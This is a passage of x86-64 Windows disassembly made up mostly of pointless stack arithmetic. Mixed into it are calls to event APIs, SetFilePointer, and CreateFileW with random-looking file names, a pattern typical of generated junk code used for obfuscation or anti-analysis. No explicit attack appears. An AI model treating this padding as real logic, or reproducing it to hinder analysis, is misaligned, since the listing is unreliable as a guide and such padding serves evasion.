mov rcx, qword [rsp + 0xf88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd90]
mov rax, qword [rax]
mov qword [rsp + 0x2f20], rax
movsx eax, byte [rsp + 0xea]
mov rcx, qword [rsp + 0x1ff0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x92], al
lea rax, [rsp + 0x11b0]
mov qword [rsp + 0x2370], rax
movsx eax, word [rsp + 0x218]
mov rcx, qword [rsp + 0x1178]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bc], ax
movzx eax, word [rsp + 0x128]
mov rcx, qword [rsp + 0x1ee8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd144], ax
lea rax, [rsp + 0x3648]
mov qword [rsp + 0x1b78], rax
movzx eax, word [rsp + 0x58c]
movzx ecx, word [rsp + 0x12c]
add eax, ecx
mov word [rsp + 0x3a4], ax
movzx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1c78]
mov byte [rcx], al
lea rax, [rsp + 0x480]
mov qword [rsp + 0x23d0], rax
mov rax, qword [rsp + 0x1478]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2f28]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xfb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1fd8]
mov rcx, qword [rsp + 0x3810]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2fe0], rax
mov rax, qword [rsp + 0x1860]
mov eax, dword [rax]
mov rcx, qword [0x1400fd358]
mov qword [rsp + 0x4890], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4890]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xd28]
mov dword [rcx], eax
movsx eax, word [rsp + 0x314]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x72c], ax
mov rcx, qword [rsp + 0x3678]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xad0], eax
movzx eax, word [rsp + 0x37c]
movzx ecx, word [rsp + 0x4dc]
add eax, ecx
mov word [0x1400fc410], ax
mov rax, qword [rsp + 0xb28]
mov rax, qword [rax]
mov qword [rsp + 0x2850], rax
mov rax, qword [rsp + 0xb28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x36a8], rax
lea rax, [rsp + 0x560]
mov qword [rsp + 0x2da8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xce46
mov rcx, qword [rsp + 0x2c60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbd4], eax
movzx eax, word [rsp + 0x4f0]
movzx ecx, word [rsp + 0x88]
xor eax, ecx
mov word [rsp + 0x388], ax
movsx eax, byte [rsp + 0xf7]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1430]
mov byte [rcx], al
mov rax, qword [rsp + 0x1080]
mov ecx, dword [rsp + 0x8f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1984], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2ce0], rax
mov rax, qword [rsp + 0x768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1500]
mov qword [rsp + 0x4898], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4898]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2bb8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xba69
mov rcx, qword [rsp + 0x2b88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13e0], eax
lea rax, [rsp + 0x2580]
mov qword [rsp + 0x2240], rax
lea rax, [0x1400fd210]
mov qword [0x1400fd538], rax
movzx eax, word [rsp + 0x48c]
mov rcx, qword [rsp + 0x7d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x438], ax
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov dword [rsp + 0x2680], eax
mov rcx, qword [rsp + 0x1480]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xac8], eax
movzx eax, byte [rsp + 0x2df]
mov rcx, qword [rsp + 0x2408]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1090]
mov byte [rcx], al
mov rax, qword [rsp + 0x1238]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1518]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x14a8], rax
lea rax, [rsp + 0x157]
mov qword [rsp + 0x2280], rax
mov eax, dword [0x1400fd1d8]
mov ecx, dword [rsp + 0x1a40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbb4], eax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov qword [rsp + 0x3820], rax
mov rax, qword [rsp + 0x1420]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8ac]
sub eax, ecx
mov word [rsp + 0x168], ax
mov rax, qword [0x1400fd408]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc]
and eax, ecx
mov word [0x1400fc434], ax
mov rax, qword [rsp + 0x1738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f8]
mov qword [rsp + 0x48a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x328], rax
movzx eax, word [rsp + 0x70]
mov rcx, qword [0x1400fd468]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xe58], ax
mov rax, qword [rsp + 0xc80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x290]
shl eax, cl
mov rcx, qword [rsp + 0x770]
mov word [rcx], ax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov qword [rsp + 0x2f40], rax
mov rax, qword [rsp + 0xf60]
mov rcx, qword [0x1400fd358]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1a30], eax
mov rax, qword [rsp + 0x1f68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10b]
sub eax, ecx
mov byte [rsp + 0x238], al
mov rax, qword [rsp + 0x28d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2e80]
add rax, qword [rcx]
mov qword [rsp + 0x3a50], rax
mov rax, qword [0x1400fd410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x378]
sar eax, cl
mov rcx, qword [rsp + 0x1358]
mov word [rcx], ax
mov rax, qword [rsp + 0x1350]
mov rax, qword [rax]
mov qword [0x1400fd540], rax
lea rax, [rsp + 0x173]
mov qword [rsp + 0x2cc0], rax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc50]
add eax, dword [rcx]
mov dword [rsp + 0x9a8], eax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1eb0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd0], ax
lea rax, [rsp + 0x5e4]
mov qword [rsp + 0x2e10], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.bxUKfdkUCCBwt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x36f0], rax
mov rcx, qword [rsp + 0x2ab8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f4], eax
movsx eax, byte [str._aMl]
movsx ecx, byte [rsp + 0x135]
and eax, ecx
mov rcx, qword [rsp + 0x7b0]
mov byte [rcx], al
lea rax, [rsp + 0x1ae0]
mov qword [rsp + 0x2f70], rax
mov rax, qword [rsp + 0x1158]
mov ecx, dword [rsp + 0x570]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2140], eax
mov rax, qword [0x1400fd268]
movzx eax, word [rax]
mov word [rsp + 0xc34], ax
movzx eax, word [rsp + 0x430]
mov rcx, qword [rsp + 0x19b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1400fd144], ax
mov rax, qword [rsp + 0x1460]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1790]
sar rax, cl
mov qword [rsp + 0xc90], rax
mov rax, qword [rsp + 0x2908]
mov rax, qword [rax]
mov rcx, qword [0x1400fc458]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb68], rax
lea rax, [rsp + 0x1830]
mov qword [rsp + 0x1b30], rax
mov rax, qword [rsp + 0x1ef8]
movsx eax, word [rax]
movsx ecx, word [0x1400fc47c]
xor eax, ecx
mov rcx, qword [rsp + 0x18e0]
mov word [rcx], ax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x24b0], rax
mov rax, qword [rsp + 0x1cf0]
mov rcx, qword [rsp + 0xfd0]
mov qword [rsp + 0x48a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2a10], rax
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0x119]
add eax, ecx
mov byte [rsp + 0x13b], al
mov rax, qword [rsp + 0x2360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x27c4], eax
movzx eax, byte [rsp + 0x1c3]
mov rcx, qword [rsp + 0xf48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1c78]
mov byte [rcx], al
mov rax, qword [rsp + 0x2da8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc80]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1400fc494], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov word [rsp + 0x600], ax
mov rax, qword [rsp + 0x1470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x720]
sar eax, cl
mov word [rsp + 0x5d8], ax
mov rax, qword [rsp + 0xb20]
mov rax, qword [rax]
mov rcx, qword [0x1400fc440]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12a8], rax
lea rax, [rsp + 0x2d4]
mov qword [rsp + 0x24f0], rax
mov rax, qword [rsp + 0x2540]
mov eax, dword [rax]
add eax, dword [rsp + 0x1984]
mov dword [rsp + 0xbc0], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x3bc9
mov rcx, qword [rsp + 0x2b90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34ac], eax
mov rax, qword [rsp + 0x2fe0]
mov qword [rsp + 0x1b88], rax
mov rax, qword [rsp + 0x18b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf50]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x390], ax
lea rax, [rsp + 0x144]
mov qword [rsp + 0x2ef0], rax
lea rax, [0x1400fc3a0]
mov qword [0x1400fd548], rax
movzx eax, word [rsp + 0x418]
mov rcx, qword [rsp + 0x1d68]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x308], ax
mov rax, qword [rsp + 0x12b8]
mov rcx, qword [rsp + 0x12a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3118], rax
mov rax, qword [0x1400fd548]
mov rcx, qword [rsp + 0x18a0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x22e8], rax
mov rax, qword [rsp + 0x2550]
mov ecx, dword [rsp + 0x137c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xe04], eax
movzx eax, byte [rsp + 0x1c6]
mov byte [rsp + 0x3e9], al
mov rcx, qword [rsp + 0x1b50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f0], eax
mov eax, dword [rsp + 0x678]
movzx ecx, al
mov eax, dword [rsp + 0xbc4]
shl eax, cl
mov dword [rsp + 0xcf8], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x227f
mov rcx, qword [rsp + 0x2340]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
movzx eax, byte [rsp + 0x1be]
mov rcx, qword [rsp + 0x1428]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0xf8], al
lea rax, [rsp + 0x2ca8]
mov qword [rsp + 0x1fc0], rax
mov rax, qword [rsp + 0xfa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x240]
sar eax, cl
mov word [0x1400fc3c0], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3900], rax
mov rax, qword [rsp + 0x1798]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1cc0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2398]
mov word [rcx], ax
movzx eax, word [0x1400fd31c]
mov rcx, qword [rsp + 0x19b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x940], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x45b9
mov rcx, qword [rsp + 0x17b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1198], eax
mov rax, qword [rsp + 0x648]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x430]
sub eax, ecx
mov rcx, qword [rsp + 0x1f60]
mov word [rcx], ax
mov rax, qword [0x1400fd1f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7b0]
movzx eax, byte [rax]
mov byte [rsp + 0xe56], al
mov rax, qword [rsp + 0x2328]
movzx ecx, al
mov rax, qword [rsp + 0x1e50]
shr rax, cl
mov rcx, qword [rsp + 0x3dc8]
mov qword [rcx], rax
lea rax, [rsp + 0x840]
mov qword [rsp + 0x2b50], rax
movzx eax, word [rsp + 0x210]
mov rcx, qword [rsp + 0x19d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x6c], ax
mov rax, qword [rsp + 0x1540]
mov rcx, qword [rsp + 0x2e90]
add rcx, rax
mov rax, rcx
mov qword [0x1400fd310], rax
mov rax, qword [rsp + 0x1238]
mov rcx, qword [rsp + 0x14e8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x738]
mov qword [rcx], rax
lea rax, [rsp + 0x3118]
mov qword [rsp + 0x28a0], rax
mov rax, qword [rsp + 0xb38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb68]
shl rax, cl
mov qword [rsp + 0xa70], rax
mov rax, qword [0x1400fd340]
movzx eax, word [rax]
mov word [rsp + 0xc20], ax
mov rax, qword [rsp + 0x830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcd]
or eax, ecx
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0xe10]
movzx ecx, al
mov eax, dword [rsp + 0x9fc]
sar eax, cl
mov dword [rsp + 0x13a8], eax
movsx eax, byte [rsp + 0x3ff]
mov rcx, qword [rsp + 0x16d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x81], al
mov rax, qword [rsp + 0x1078]
mov rax, qword [rax]
add rax, qword [rsp + 0x1cf0]
mov rcx, qword [rsp + 0x1220]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x2ce0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a9c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.PzBd3Bpdqqb
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x1508]
mov eax, dword [rax]
mov dword [0x1400fd550], eax
mov rax, qword [0x1400fd2f0]
movzx eax, word [rax]
mov word [rsp + 0xaa0], ax
mov eax, 0x38
imul rax, rax, 0
mov dword [rsp + rax + 0x5b80], 0x416eceb8
mov rax, qword [rsp + 0x1c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1fc8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4ec], ax
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x532f
mov rcx, qword [rsp + 0x2ea8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27c8], eax
movzx eax, word [rsp + 0xaf0]
mov rcx, qword [rsp + 0x1d68]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5d0], ax
mov rax, qword [rsp + 0xf88]
mov rcx, qword [rsp + 0x980]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2580], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x6af6
mov rcx, qword [rsp + 0x2860]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcd8], eax
mov rax, qword [rsp + 0x2370]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd80]
add eax, dword [rcx]
mov dword [rsp + 0xc8], eax
mov rcx, qword [rsp + 0x2350]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x34e8], eax
mov rax, qword [rsp + 0x24b8]
movzx eax, byte [rax]
mov byte [rsp + 0x579], al
mov rax, qword [rsp + 0x28d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa68]
mov qword [rsp + 0x48b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48b0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x1220]
mov qword [rcx], rax
movzx eax, word [rsp + 0x4f8]
mov word [rsp + 0x490], ax
mov rax, qword [rsp + 0x10a0]
movzx eax, word [rax]
mov rcx, qword [0x1400fd218]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc498], ax
mov rax, qword [rsp + 0x7c8]
mov rcx, qword [rsp + 0xcb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x1180]
mov qword [rcx], rax
movzx eax, word [rsp + 0x4f0]
movzx ecx, word [rsp + 0x210]
xor eax, ecx
mov word [rsp + 0x88], ax
mov eax, dword [rsp + 0xe0c]
mov ecx, dword [0x1400fc384]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x20e8], eax
mov rax, qword [rsp + 0x830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
shl eax, cl
mov byte [rsp + 0x1c3], al
lea rax, [rsp + 0x2a10]
mov qword [rsp + 0x2530], rax
mov eax, dword [rsp + 0x998]
mov rcx, qword [rsp + 0x11f0]
mov qword [rsp + 0x48b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xc8], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1961
mov rcx, qword [rsp + 0x1868]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0x22d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf9]
add eax, ecx
mov rcx, qword [rsp + 0x1200]
mov byte [rcx], al
movzx eax, word [rsp + 0x1d4]
mov word [rsp + 0x5f8], ax
mov rax, qword [rsp + 0x10a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x58c]
sub eax, ecx
mov word [0x1400fd200], ax
mov rax, qword [rsp + 0x1250]
mov rcx, qword [rsp + 0x1880]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x980]
mov qword [rcx], rax
lea rax, [rsp + 0x1f08]
mov qword [rsp + 0x2260], rax
movsx eax, word [rsp + 0x1d4]
movsx ecx, word [rsp + 0x304]
add eax, ecx
mov rcx, qword [rsp + 0x3818]
mov word [rcx], ax
movzx eax, word [rsp + 0x700]
mov rcx, qword [rsp + 0xa98]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x49c], ax
mov eax, dword [rsp + 0xbb4]
mov ecx, dword [rsp + 0x9f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x137c], eax
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1e80]
shr rax, cl
mov qword [rsp + 0xc98], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe234
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3440], eax
lea rax, [rsp + 0x22d]
mov qword [rsp + 0x48c8], rax
mov rcx, qword [rsp + 0x16d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27c8], eax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x2968]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x12b8]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe803
mov rcx, qword [rsp + 0x3288]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11ac], eax
lea rax, [rsp + 0x490]
mov qword [0x1400fd558], rax
movzx eax, word [rsp + 0x590]
mov word [rsp + 0x6f8], ax
mov rax, qword [rsp + 0x1998]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x159], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1ec8], rax
mov rax, qword [rsp + 0x1948]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0x1c08]
idiv dword [rcx]
mov rcx, qword [rsp + 0x2368]
mov dword [rcx], eax
lea rax, [rsp + 0x1e88]
mov qword [rsp + 0x23a8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5ceb
mov rcx, qword [rsp + 0x2ea8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9e8], eax
mov rax, qword [rsp + 0x1b88]
mov rcx, qword [rsp + 0x628]
mov qword [rsp + 0x48c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1878], rax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xb98]
mov qword [rsp + 0x2988], rax
mov rax, qword [rsp + 0x1030]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x61]
xor eax, ecx
mov rcx, qword [rsp + 0x24b8]
mov byte [rcx], al
movsx eax, word [rsp + 0x454]
mov rcx, qword [rsp + 0xfe8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3b4], ax
movzx eax, word [rsp + 0x1594]
mov rcx, qword [rsp + 0x14b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd168], ax
mov rax, qword [rsp + 0x1138]
mov rax, qword [rax]
mov qword [rsp + 0x3ad0], rax
mov rax, qword [rsp + 0x10a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10a8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1318]
mov word [rcx], ax
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xff8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe78], ax
mov rax, qword [rsp + 0x3040]
mov rcx, qword [rsp + 0xd08]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x760], rax
lea rax, [rsp + 0x1890]
mov qword [rsp + 0x2288], rax
mov rax, qword [rsp + 0x11f0]
mov ecx, dword [rsp + 0xac4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb8c], eax
mov rax, qword [rsp + 0x48c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe9]
add eax, ecx
mov rcx, qword [rsp + 0x17f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x19e0]
movzx eax, word [rax]
mov word [rsp + 0x5c4], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5b97
mov rcx, qword [rsp + 0x12c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1aa4], eax
lea rax, [rsp + 0x2a08]
mov qword [0x1400fd560], rax
mov rax, qword [rsp + 0x1428]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2c9]
sub eax, ecx
mov rcx, qword [rsp + 0x2f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1d40]
mov ecx, dword [rsp + 0x3c8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2178], eax
mov rax, qword [rsp + 0x12d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4ec]
sar eax, cl
mov rcx, qword [rsp + 0x180]
mov word [rcx], ax
mov rax, qword [0x1400fd4e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x318]
xor eax, ecx
mov word [rsp + 0x384], ax
mov rcx, qword [rsp + 0x16b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1478]
movzx eax, byte [rax]
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x1960]
movzx ecx, al
mov rax, qword [rsp + 0x22a0]
shl rax, cl
mov qword [rsp + 0x1260], rax
lea rax, [rsp + 0x13d4]
mov qword [rsp + 0x3050], rax
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7e0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x98], ax
movzx eax, word [rsp + 0x8c]
movzx ecx, word [0x1400fc44c]
add eax, ecx
mov rcx, qword [0x1400fd3a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x780]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1c68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x618]
mov qword [rcx], rax
lea rax, [rsp + 0x1b18]
mov qword [rsp + 0x3b50], rax
mov rax, qword [0x1400fc480]
mov rcx, qword [rsp + 0x9c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1c30], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe4e8
mov rcx, qword [rsp + 0x2ed8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x166c], eax
mov rax, qword [rsp + 0xf50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x460], ax
mov rax, qword [rsp + 0x11c0]
mov rcx, qword [rsp + 0x2578]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1960], rax
movsx eax, byte [0x1400fd134]
mov rcx, qword [rsp + 0xfb0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x10e], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2a20], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa440
mov rcx, qword [rsp + 0x30f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a44], eax
lea rax, [rsp + 0x13b4]
mov qword [rsp + 0x2678], rax
mov rcx, qword [rsp + 0x2c88]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x820]
mov byte [rcx], al
mov eax, dword [rsp + 0x47c]
mov dword [rsp + 0x214c], eax
movsx eax, word [rsp + 0xe78]
movsx ecx, word [rsp + 0x72c]
add eax, ecx
mov word [0x1400fd140], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd45f
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27ec], eax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
movzx ecx, word [0x1400fc3f0]
sar eax, cl
mov rcx, qword [rsp + 0x19d0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1a4]
mov word [rsp + 0x1660], ax
mov rax, qword [rsp + 0x12e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1fb8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1308]
mov qword [rcx], rax
mov eax, dword [rsp + 0x137c]
movzx ecx, al
mov eax, dword [rsp + 0x998]
shl eax, cl
mov rcx, qword [rsp + 0x1860]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x926], al
mov rax, qword [rsp + 0x2288]
mov rcx, qword [rsp + 0xd38]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1b88], rax
mov rcx, qword [rsp + 0x1810]
